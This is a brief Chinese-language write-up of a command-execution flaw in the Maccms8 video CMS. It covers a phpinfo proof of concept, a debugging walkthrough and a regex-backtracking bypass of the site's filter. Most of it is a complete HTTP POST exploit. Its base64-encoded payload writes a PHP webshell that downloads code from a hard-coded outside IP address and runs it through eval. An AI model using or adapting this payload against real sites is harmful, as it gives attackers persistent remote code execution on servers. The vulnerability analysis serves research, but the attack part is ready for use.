一、漏洞初现
-
环境搭建部分省略,可在 https://github.com/yaofeifly/Maccms8.x 下载可复现环境。
-
模拟搜索功能,调用以下接口
url:http://127.0.0.1/maccms888/?m=vod-search
post:
wd={if-A:phpinfo()}{endif-A} -
phpinfo()函数被执行
二、漏洞分析
- phpstorm(配合xdebug)调试审计一波
直接从头开始下断点,执行到 `require(MAC_ROOT.'/inc/common/360_safe3.php');· 的时候,可看
到匹配规则并未匹配到我们输入的字符,断点继续往下审。
- 到下图时,我们F7跟进去
F8往下到了eval函数的时候可发现,出了接受get,post数据那块有做sql过滤,没做任何其他gu过滤。
三、匹配规则绕过
-
还记得p神当年那篇绕正则的文章嘛,通过超出回溯次数实现正则绕过,原文贴
出:https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypassrestrict.html 这个漏洞在此文说的环境中已被修复。 -
构造payload
POST /index.php?m=vod‐search HTTP/1.1
Host: xxxx
Cache‐Control: max‐age=0
DNT: 1
Upgrade‐Insecure‐Requests: 1
User‐Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/79.0.3945.79 Safari/537.36
Content‐Type: application/x‐www‐form‐urlencoded
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,app
lication/signed‐exchange;v=b3;q=0.9
Accept‐Encoding: gzip, deflate
Accept‐Language: zh‐CN,zh;q=0.9
Connection: close
Content‐Length: 800580
wd=union%28这里有80w个a%E4%B8%AAa%29%7Bif‐
A%3Aprint%28fputs%28fopen%28base64_decode%28Yy5waHA%29%2Cw%29%2Cbase64_decode%28PD9waHAgZ
nVuY3Rpb24gcygpeyRjb250ZW50cyA9IGZpbGVfZ2V0X2NvbnRlbnRzKCdodHRwOi8vNjcuMTk4LjE4Ni40MjoyOT
gwOC9zL2FkbWluZTIxLnR4dCcpO2EoJGNvbnRlbnRzKTt9ZnVuY3Rpb24gYSgkY29ubil7JGIgPSAnICc7ZXZhbCg
kYi4kY29ubi4kYik7fXMoKTsgPz4x%29%29%29%7D%7Bendif‐A%7D"}&submit=%E6%90%9C+%E7%B4%A2
- payload执行成功后,会在本目录下生成一个shell文件(请自行解码查看写入函数和文件名)
Maccms8的命令执行漏洞分析及初探.pdf (804.0 KB)